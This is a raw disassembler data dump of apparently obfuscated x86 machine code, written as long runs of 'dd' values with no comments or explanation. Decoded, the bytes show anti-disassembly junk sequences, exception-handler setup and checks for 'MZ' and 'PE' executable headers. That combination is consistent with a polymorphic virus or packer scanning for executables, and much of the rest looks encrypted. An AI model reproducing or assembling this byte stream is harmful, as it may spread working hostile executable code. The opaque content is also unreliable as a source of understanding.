		dd 660938B7h, 6C7D88Bh,	10001h,	96DAB70Fh, 0BB665660h
		dd 0B95BEDA1h, 71968DB4h, 0BF665061h, 6A96A3C3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 7987C356h, 0BD8B1326h, 9352B99h, 0B76FB5FFh,	8D890938h
		dd 93503B5h, 28995FFh, 6A0935h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0B5DB1DC3h, 0FA8AF261h
		dd 0FE860h, 4D570000h, 0D988099Dh, 0D7FB2C9Eh, 0E26888E2h
		dd 0D18166A3h, 8B599E33h, 351B69BDh, 0B58B6109h, 938B763h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 18C35040h
		dd 37490B41h, 4DF2588Eh, 858BDA8Ah, 9350E99h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0AC35242h, 0A7765225h
		dd 89873788h, 0C486h, 8DBD3300h, 8B093531h, 35162995h
		dd 57006A09h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 71D9858Ch, 91977F44h, 2FBD8D89h,	8F0F0935h
		dd 6, 29DBD8Bh,	0C2830935h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 3458F021h
		dd 8B1B090Eh, 49BF6678h, 0F5BD8B19h, 89093515h,	0BD8B2050h
		dd 9352655h, 0CC07858Dh, 0BB660938h, 8689B018h,	0B8h, 6AFE8B66h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0FFFB8B2Fh, 38B76FB5h, 1B53109h,	0FF093528h
		dd 35115195h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 783D39D7h, 0CF816647h, 66506355h
		dd 8927E7BFh, 0AE92434h, 36000000h, 0EF2097C8h,	0DC9F6FA6h
		dd 6FB5FFC6h, 0FF0938B7h, 350B5595h, 0F98B6609h, 79BD83h
		dd 0F000935h, 3D84h, 9665B300h,	8E9h, 0F43CD300h, 76276B84h
		dd 6A965022h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0AF9CC350h, 3844C0Dh, 79BD8B60h
		dd 0B1093507h, 0B5FF61E0h, 938B76Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 55C35040h, 61C90A0Dh, 1C3595FFh
		dd 9D890935h, 9353231h,	0B76FB5FFh, 0B70F0938h,	0E595FFD9h
		dd 0F09352Ch, 284h, 83DC8A00h, 3526BDBDh, 840F0209h, 3Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7BC35141h
		dd 2FD38166h, 0AD858B64h, 66093526h, 95D5F381h,	264DBD0Bh
		dd 0C60935h, 919D8B00h,	0C7093505h, 35326585h, 9, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 80ACE6C5h, 57E92CD7h, 6AFFFFF4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 18FCC356h
		dd 7A083D09h, 8BA6CB80h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 12A9A9FEh, 54FB5BAAh
		dd 0BB663337h, 0BD0BC563h, 9352ED1h, 2659858Dh,	0BF0F0935h
		dd 8E950D8h, 7E000000h,	9C9CCEABh, 896E620Ah, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 152F0BC3h, 6A19834Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 6D60143Fh, 604136CCh
		dd 2A819D31h, 820F0935h, 6, 28E18D29h, 6A610935h, 9BE38100h
		dd 8D41C25Ch, 3A343185h, 51006A09h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0E637918Fh, 5C0834Eh
		dd 1D3DBD8Bh, 8B500935h, 240489D9h, 1DC99D8Bh, 6A0935h
		dd 1AE18589h, 6A0935h, 95FFD0B7h, 9350331h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D8C35242h, 273E4F9Ah
		dd 0C024B893h, 0AB8D8DF0h, 6A09389Ah, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 158AC356h
		dd 75BD89BCh, 0FF093500h, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B1611256h
		dd 6C4275C5h, 0B70F2127h, 19BD83FEh, 109351Ch, 85850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 28116C3h,	118E0F99h, 0E9000000h, 0Ch, 3BFEF5FEh
		dd 0BE833E13h, 0A3A72742h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B5DBFC3h
		dd 353341BDh, 0BB665009h, 48937D9h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 5195FFADh
		dd 0E9093511h, 0CE7h, 0E8h, 0ED815D00h,	93A343Bh, 0CE8h
		dd 8D10FB00h, 1D16C548h, 0FDE14433h, 9D8B5F5Bh,	93523F5h
		dd 0DE9h, 0F970EA00h, 0B3A6CB3Ah, 0F97D91F5h, 9D8B178Dh
		dd 9350015h, 932B858Dh,	6A0938h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FCDF1BC3h, 9870F50h
		dd 60000000h, 66C18B66h, 617A29B8h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 49E5C353h, 0F271A19h, 0FF6442EDh, 35h, 68D0F00h, 81000000h
		dd 0FF5BD0CFh, 25896455h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h
		dd 0BE308A15h, 0DE819D1h, 0D6000000h, 6AE328D0h, 9264FAEAh
		dd 0AC85F146h, 0FE9h, 570D5000h, 1ACF3866h, 0B33186FDh
		dd 1589CE0Eh, 0F88B665Bh, 300985FFh, 6A0935h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 63DCAAC3h
		dd 0F85F9AC8h, 6DBD89ABh, 6A093524h, 798509FFh,	0FF093516h
		dd 350D45B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 95D9612Ah, 228D9D8Bh, 95FF0935h
		dd 9352EB9h, 0F3E9h, 0AEE6BB00h, 0B033EEh, 31CDBD89h, 70E60935h
		dd 2C859D29h, 71E40935h, 29958D29h, 613C0935h, 0CE830Fh
		dd 0BF0F0000h, 0C8B60FD8h, 6800Fh, 95890000h, 93529D5h
		dd 6BAh, 0BF0F6000h, 0BD8B60F6h, 9350779h, 6161E0B1h, 830FC18Bh
		dd 4, 0FB25BB66h, 0F04E8C1h, 388h, 0D8B70F00h, 51E2F766h
		dd 1898589h, 2B5B0935h,	8BD98BC8h, 0CDBD8BD1h, 0E909351Dh
		dd 74h,	858B45B3h, 4947554Ch, 32F2BB66h, 6007C083h, 3C59503h
		dd 83610935h, 816600C0h, 3B365ACBh, 17830FD0h, 89000000h
		dd 350A2195h, 42E909h, 95890000h, 9351745h, 1C119D8Bh
		dd 8D8B0935h, 0FFFFFFFFh, 0FF37BB66h, 0F01E183h, 2384h
		dd 0B5315200h, 9350069h, 0FFA5835Fh, 0FEFFFFFFh, 89DF8B66h
		dd 47554C95h, 8D9D8B49h, 0E909350Dh, 0
aN9J		db '█╣<╠9',9,'j',0
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FE88F8C3h, 0F8D0Fh,	0AE90000h, 7000000h, 6BA4707Fh
		dd 9447E507h, 5D9D8B9Ah, 6A093528h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0E9AD7678h
		dd 0Fh,	0FBB73503h, 3F3F8BB0h, 9A63143h, 0FFBE2763h, 35082995h
		dd 7FEB8009h, 10B2B9h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 8A18675Eh, 1224D225h
		dd 0EE9h, 79473000h, 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h
		dd 4DBB66DFh, 0FCE1836Dh, 4219D89h, 29FC0935h, 351679BDh
		dd 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 898241C3h, 351F899Dh, 6AD22B09h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 9AACC355h, 0FF270AABh, 0DB816661h, 33AD45C2h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 506E10C3h, 4F38166h
		dd 719D8B23h, 0D093502h, 88h, 5D5DEF81h, 958B13AEh, 9351629h
		dd 0D81B589h, 0B5890935h, 9350A95h, 287D8D8Bh, 0BF660935h
		dd 8B502E56h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 12C35040h
		dd 816659C9h, 0F803DE3h, 89h, 9EBB6600h, 49BD8342h, 93512h
		dd 61840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 4CAC48C3h, 3351DA35h, 9529A158h
		dd 935234Dh, 0B8h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B529BE17h, 93502CDh
		dd 4C028D8Dh, 0BB660935h, 0E1FFDC9Eh, 83DEB70Fh, 352255BDh
		dd 840F0009h, 44Dh, 0F9AC780h, 0BD83FBBFh, 9352255h, 55840F01h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 382EC352h, 55BD83C7h, 3093522h
		dd 3F4860Fh, 0BD8B0000h, 93530A9h, 7E960h, 5ECA0000h, 0D1D1E6E0h
		dd 8DADBFAAh, 8C6645A2h, 14E9D9h, 6AAD0000h, 10238B74h
		dd 0E3146025h, 0E141CE36h, 67C67310h, 8B0F1530h, 6, 2E598589h
		dd 0E1800935h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0DB6C567Dh, 8928B11Ah
		dd 352E0585h, 0B1EB8109h, 0A7A3DB3h, 34840FC9h,	8B000001h
		dd 352E919Dh, 61858B09h, 6009352Bh, 2AC9BD33h, 85290935h
		dd 93511B5h, 7D853361h,	0E909350Dh, 11h, 84496616h, 4059A42Eh
		dd 607AC70Dh, 0C0E80D13h, 8B665094h, 240489DFh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 12C35747h, 54FB5BAAh
		dd 0F663337h, 6AFFBFh, 0AFE78166h, 4E809h, 3FF0000h, 11E8001Fh
		dd 0A9000000h, 0EABE5BBFh, 0FCAFDF6h, 0B43DDDD6h, 95E3C92Ch
		dd 4B0BB66h, 8B66505Fh,	24448BFEh, 0D88B6604h, 6060008Bh
		dd 60616160h, 5A56F78Bh, 44896161h, 1BB30424h, 0DD95FF58h
		dd 6A09350Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 73AAC357h, 0F25269C0h,	359D8B4Fh
		dd 8909351Fh, 38B76F85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0E58885D5h, 0F58D17A2h
		dd 0F5E90DB3h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 410C351h, 4D4FFF55h
		dd 599D8B85h, 8B09351Bh, 38B76785h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0C70BE84Eh
		dd 1800h, 0D8E78000h, 0B76BB58Bh, 6A0938h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0DAF9D0C3h
		dd 5D9D89CDh, 8B093524h, 350C35BDh, 0D5858B09h,	8B093524h
		dd 351F49BDh, 0F068909h, 2DBBF9B7h, 8B65FA1Bh, 352B6185h
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 65B79F10h, 89F84246h, 9D8B0446h,	93511EDh
		dd 28259D8Bh, 0F500935h, 284h, 898AB300h, 0B5FF2434h, 938B767h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5DC35242h
		dd 3330B548h, 68AAB3FCh, 8E6E5ACDh, 81FE8B66h, 0A9322404h
		dd 6A71B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 8B35FFC3h, 80AD1982h, 12E9E5D7h, 2B000000h
		dd 923C71A1h, 75902A2Eh, 6BA75F2Fh, 971A6958h, 6F858D42h
		dd 6A0938B7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 6392C353h, 707262E6h, 0FD40951h
		dd 14E890h, 0B6F00000h,	0D2C29D5Ch, 6203294Bh, 0D168ED2Dh
		dd 8BBE8A03h, 880FE79Dh, 6, 8E0Fh, 505F0000h, 8A0F56h
		dd 5B000000h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E92D1E06h, 6, 20D9D2B8h,	95FF3011h
		dd 9350CDDh, 68A0Fh, 85890000h,	935105Dh, 68F0Fh, 9D890000h
		dd 9350AB1h, 699D8961h,	0C709352Bh, 35225585h, 309h, 0B1BD8B00h
		dd 8309350Eh, 38B76FBDh, 840F0009h, 56h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 0A3C35343h, 9D89473Fh
		dd 93511E9h, 0E9DE8B66h, 45h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0B4C35040h,	0FB7F927h, 7DEEA9FDh
		dd 3189BD8Bh, 30500935h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0CC380C0h, 31E5BD33h, 0BD830935h
		dd 9352255h, 0A2850F03h, 66000003h, 83982CBFh, 38B76FBDh
		dd 840F0009h, 391h, 0BBBCCB81h,	0B5FF58EFh, 938B76Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9AC35343h, 66A0BC7Eh
		dd 4643C381h, 2E1195FFh, 13E80935h, 51000000h, 0DAFAA8AFh
		dd 9EA75C00h, 8BEE0FD2h, 0ED9A46EDh, 68BF7D1Fh,	5B1766ECh
		dd 0B763B58Bh, 0FE90938h, 0D6000000h, 5EEFE802h, 824AB473h
		dd 9E79EA2h, 6C73992h, 10001h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 2AC35646h, 0D3FD29DDh, 0E8C092E6h
		dd 0Ah,	956B2246h, 9DFD344h, 8166A9BAh,	5B4400F7h, 8820F96h
		dd 0F000000h, 282h, 50616000h, 6A96FB8Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5877C351h
		dd 14963CD5h, 0E80E2389h, 12h, 0B5802022h, 0B0140F78h
		dd 86124D8Ah, 0DED39598h, 0F55135DDh, 0B5FF5B5Fh, 938B76Fh
		dd 549BD8Bh, 95FF0935h,	9350289h, 0B95B589h, 0B58B0935h
		dd 938B763h, 5B9BD8Bh, 858B0935h, 9350E99h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h
		dd 212B184h, 4890FCCh, 66000000h, 6037A5BFh, 2C51B58Bh
		dd 8D890935h, 9351779h,	0C4868961h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 3E46C355h, 857FC258h, 8166252Ah, 8B7F25F3h, 35162995h
		dd 0B9858909h, 83093528h, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 899B97C3h, 352D4D95h
		dd 4F0BF09h, 508936D4h,	8DF88B20h, 38CC0785h, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0D740C3C1h, 0C1C1EF91h, 3919589h, 86890935h,	0B8h, 0F8A0Fh
		dd 0AE90000h, 5E000000h, 0CBA2D119h, 0A784B0AEh, 29006A76h
		dd 350D759Dh, 6FB5FF09h, 6A0938B7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F4EBC351h
		dd 28DF7BBFh, 12CF8005h, 115195FFh, 6A0935h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C3E662C3h
		dd 948BA73Fh, 0E5BFF67Eh, 89525E3Dh, 352CA5B5h,	13E99609h
		dd 18000000h, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h,	76166CC3h
		dd 0F505E43h, 8Fh, 6A9600h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 794250C3h, 5CF1DFCBh
		dd 6FB5FF26h, 310938B7h, 3531FD95h, 5595FF09h, 8909350Bh
		dd 3508919Dh, 79BD8309h, 93500h, 11840Fh, 0C7800000h, 0BB5650E6h
		dd 549892AEh, 2434895Bh, 0FFFFBF0Fh, 38B76FB5h,	0DABF0F09h
		dd 1C3595FFh, 0BB660935h, 0B5FF292Dh, 938B76Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 65C35040h, 33D67D9Ch
		dd 1AAB0AD7h, 0E595FFA1h, 6A09352Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 638FC351h
		dd 0BD83F98Dh, 93526BDh, 1A840F02h, 89000000h, 351785BDh
		dd 0AD858B09h, 23093526h, 351CF59Dh, 0C609h, 2EC38166h
		dd 6585C79Dh, 93532h, 8B000000h, 352649BDh, 0F459E909h
		dd 0E781FFFFh, 7027F831h, 0E9F5C18Bh, 7, 85630709h, 0BA97C836h
		dd 0F00E0000h, 0EA81h, 0C283F000h, 0AD958914h, 8309350Eh
		dd 858D14EAh, 93A41C3h,	35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+б%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0E98589C8h, 3093531h, 0B70F3C40h, 95890650h,	9350399h
		dd 8950508Bh, 351DFD95h, 0F80509h, 508B0000h, 89D1030Ch
		dd 3525E595h, 8500309h,	7919589h, 8F640935h, 5,	4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 2365BD83h, 0F000935h, 2484h,	9D85C600h, 47093517h, 9AA7D268h
		dd 7DB5FFD4h, 8D093516h, 387B7085h, 6AD0FF09h, 89D0FF00h
		dd 35066185h, 8DD38B09h, 3A42C88Dh, 498D0109h, 89093517h
		dd 3516298Dh, 95BD8B09h, 66093504h, 85C7FB8Bh, 935287Dh
		dd 6068h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	36C35545h, 471BD29h, 85C70935h,	9352255h, 0
		dd 89DABF0Fh, 3510459Dh, 9DB5FF09h, 6A09352Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 8A7C357h, 0C59A864h,	0BF0F6009h, 9DE381D7h, 6154121Ch
		dd 0D0595FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0AEF52EC3h, 61BD8B3Ah, 6A093511h
		dd 2995FF00h, 8B093508h, 0CD4DEBC0h, 5DBC7121h,	3ABBC88Ah
		dd 0F6BC74A5h, 10CCC7AFh, 9436F974h, 0A5C996BBh, 0AD206501h
		dd 0A83A8465h, 0E1A9265Fh, 26B8F568h, 7D19F2ACh, 0F0BF5831h
		dd 8806A096h, 0B3DFBD2Ch, 0D179E85Ch, 37BA9782h, 0A9F5BB49h
		dd 1F7DC7D6h, 128186CDh, 442E8D8Dh, 8D89093Ah, 9352569h
		dd 16298D89h, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0D84E5CC3h, 7E9FC165h, 7D85C7EFh
		dd 58093528h, 6A000067h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 1BF3C357h, 4B2013E5h
		dd 3157BF67h, 352F25B5h, 85C75F09h, 9352255h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 85C35141h
		dd 92BED3F5h, 312A6908h, 2BF5B5FFh, 6A0935h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E8913FC3h
		dd 13h,	9F5F17B4h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h, 0F4D20C5h
		dd 58Bh, 0F2816600h, 895AB424h,	3525A9B5h, 595FF09h, 6A09350Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 326C352h,	0FBD78166h, 0FF006ACEh,	35082995h
		dd 0EBC08B09h, 5C4CA50Dh, 0B311F533h, 5173716Eh, 2ADEBD4Ah
		dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh
		dd 5AF19826h, 0AEEF5E26h, 603CAD31h, 0E4FFB44Eh, 4EF867A5h
		dd 0BEAFAD30h, 0B28E8A3h, 0BA79672Fh, 6F6FDA3h,	56D71B2Fh
		dd 333CAD05h, 33831D29h, 0B6C09826h, 3A9CDC76h,	71D61576h
		dd 63A0A262h, 11B10DD9h, 64839113h, 59359826h, 611F1523h
		dd 6344A262h, 77E41DABh, 0CC03911Ch, 6B879B3h, 3C14932Fh
		dd 336AA1A2h, 61B01526h, 6393A262h, 334DAACEh, 0BEF6D826h
		dd 917C0A3h, 0B624C82Fh, 3AEEDC74h, 6AFF6776h, 0B03CAD01h
		dd 0B61794E2h, 3A77DC74h, 71231576h, 635AA262h,	11CC0DD9h
		dd 513D9113h, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh
		dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh
		dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh
		dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
		dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
		dd 37A8517Fh, 73881526h, 0BE93A262h, 908EDABh, 93202Fh
		dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 75B58DFFh, 8D093A45h, 3A45948Dh, 83CF2B09h, 0C88B05E9h
		dd 0FE8h, 35518400h, 0E417834Dh, 27AE18CBh, 0D0E4CEC3h
		dd 27798D8Bh, 0F5A0935h, 68Ah, 58536000h, 81615EB3h, 5E41C2h
		dd 10E900h, 0B5E90000h,	0E21701A7h, 0E4777048h,	66975E2Bh
		dd 64B818F8h, 80000017h, 32FF2CF5h, 5FF78B66h, 2D318D89h
		dd 0F7810935h, 0A16142Fh, 0F781F28Bh, 2C0A5036h, 0A9B2C781h
		dd 39B96C31h, 890AD306h, 6820F3Ah, 8B000000h, 3531F5B5h
		dd 4EA8309h, 56E98166h,	1E88155h, 0F000000h, 1485h, 24E900h
		dd 0E590000h, 0C7E3B394h, 0A751E660h, 2E43063Dh, 0BDBD89E9h
		dd 0E9093528h, 0FFFFFF9Ah, 20E2BF3Ah, 0A8C64A40h, 3F9C56DBh
		dd 0D2BE553Bh, 37CF0857h, 81B97F50h, 0BDBADEE4h, 849E636Eh
		dd 0C0F3D7D8h, 3FAA8EF4h, 0B0FF662Dh, 31F7DEEDh, 0BD0AF42Ch
		dd 0A74360h, 6730D7DAh,	96486B6h, 0BDC6EE94h, 0E4EEAAEDh
		dd 0B0FF66BEh, 31F7DEEDh, 0BD0AF42Ch, 5B84360h,	6730D7DAh
		dd 0A50E86B6h, 0F4F3DEEDh, 0E72AC63Bh, 9B0153C2h, 7119DF7Ah
		dd 0A2385886h, 0B49C52E2h, 3FA9DEEDh, 3F27553Bh, 81D75360h
		dd 6C75B8E4h, 0B1F54B66h, 0B0D6D7D8h, 0B7575AE2h, 3FF9DEEDh
		dd 9725D32h, 0B4EEEBE2h, 0B4CF5AE2h, 0B493DEEDh, 0B4FF36BEh
		dd 0EF5EDEEDh, 0E8B6852Eh, 0F01EDAC9h, 0B4D9DAC9h, 0E7A4DEEDh
		dd 6DF0102Eh, 0B4F9D004h, 5B9958EDh, 7830F6B8h,	0BE1AACA4h
		dd 5DD4FA7Ch, 0B4CFDDCFh, 84865366h, 0B44DD7D8h, 0D2FBDECAh
		dd 395B0757h, 8C10BF68h, 0E63FB4E4h, 0B49FDD05h, 7795FEEDh
		dd 90B357B7h, 90B75FE9h, 0B4F9C6E9h, 77AE9CEDh,	0E612A17Eh
		dd 0DD8AD7FAh, 4B96EBC8h, 3105543Dh, 7263D12Dh,	0DEF3DEEDh
		dd 0B7118EEDh, 94FCDEEDh, 3D261DB5h, 353BFAA9h,	0A99BFAA9h
		dd 0F4CFDEEDh, 9C821DBDh, 1F8794D3h, 44DCBEB1h,	0A2514364h
		dd 8CFFD7D8h, 4FBEB8BAh, 0B4AF5BE2h, 0B4A5DEEDh, 0B4E436B8h
		dd 0E9D3DEEDh, 0D870832Eh, 0F07DDAC9h, 0B468DAC9h, 0E17ADEEDh
		dd 6F79342Eh, 764FFE5Ch, 0CC66B874h, 0BBF1DCE9h, 0B4FB4069h
		dd 359A22EDh, 0BB1E42D5h, 0B43F8A68h, 411A57EDh, 34C6EBC1h
		dd 0BB0FDC95h, 0B4F39A68h, 0E6F9B4EDh, 0B4FCDD05h, 7724FEEDh
		dd 906B57B7h, 90DB5FE9h, 0B4CFCBE9h, 77B59CEDh,	9D934903h
		dd 81FB2F78h, 0C17957E4h, 0D577EBF2h, 0B2475F8Bh, 319075EDh
		dd 0B4CFDEE0h, 0F00E2466h, 3DF3DEEFh, 81D50B60h, 0B5FC60E4h
		dd 0B41498ECh, 0B43C36B8h, 0E9BFDEEDh, 0D846832Eh, 0F066DAC9h
		dd 0B4E5DAC9h, 0E1BCDEEDh, 6A4D462Eh, 31F37B5Fh, 0BD07B08Ch
		dd 0B97A5364h, 3944D7D8h, 0BDD2F00Ch, 0B4990E12h, 0B4FA36BBh
		dd 0EADCDEEDh, 0C0F7802Eh, 0F0BEDAC9h, 0B487DAC9h, 0E289DEEDh
		dd 53450B2Eh, 747644F0h, 0B54D5AE2h, 0B496DEEDh, 0B47D36BFh
		dd 0EE1FDEEDh, 0E016842Eh, 0F04EDAC9h, 0B4FFDAC9h, 0E6B1DEEDh
		dd 248AA42Eh, 29775969h, 0BD4BDA98h, 8959E66Ch,	3190DCEFh
		dd 0B4CFDEB1h, 5CB4DE87h, 0B4F3DEEEh, 0EF3A85CDh, 0B0D88264h
		dd 0B05A9A6Ch, 0B43FDEF0h, 0AB5C8DAEh, 3B443EF4h, 5BA56853h
		dd 3D6E5505h, 35F0EBF3h, 899AD895h, 3071A4B2h, 0B43FDF9Eh
		dd 5CCDDE87h, 0B4CFDEEEh, 0EE2484CDh, 0B0D78A64h, 0B0DD9A6Ch
		dd 0B4FCDEF1h, 27BD8CAFh, 67653250h, 0FC1415F8h, 28F75F8Bh
		dd 8E62D18Dh, 0D2F3DEEDh, 85D56154h, 81F48F58h,	0B6065EE4h
		dd 92BAD105h, 0D29FDEEDh, 2E84316Ch, 0B29F5F8Bh, 31FC1EEDh
		dd 0B4F9DEF8h, 0B4FA57E2h, 21F5DEEDh, 0BD0AD5BCh, 0B49ED004h
		dd 7C70D1EDh, 0B5E76018h, 7E73A0ECh, 0D57C5320h, 0BBF5E683h
		dd 0B47EDC66h, 4BEF54EDh, 741A2B3Dh, 0B40F5AE2h, 341BDEEDh
		dd 31FC36D5h, 0B4F9DEAEh, 5CABDE87h, 0B47EDEEEh, 0EBFC81CDh
		dd 0B0BBA264h, 0B0EB9A6Ch, 0B4E7DEF8h, 433089AAh, 6D7457DDh
		dd 34F5EBE3h, 0BB0DDB95h, 0B43FC868h, 252AD7EDh, 34C6EBE0h
		dd 0BBB4D995h, 0B4F37C69h, 0B56CDFEDh, 0D2F5EBF0h, 0B1F1E66Ch
		dd 0B4575BE2h, 3F90DEEDh, 0B4CFDEEBh, 20AD356Ch, 4A78DE8Bh
		dd 0DCFFA66Dh, 0B4AC5BE2h, 0BF29DEEDh, 811E1770h, 35F987E4h
		dd 9130D595h, 0B4DB5BE2h, 0B499DEEDh, 0B4FA36BFh, 0EEDCDEEDh
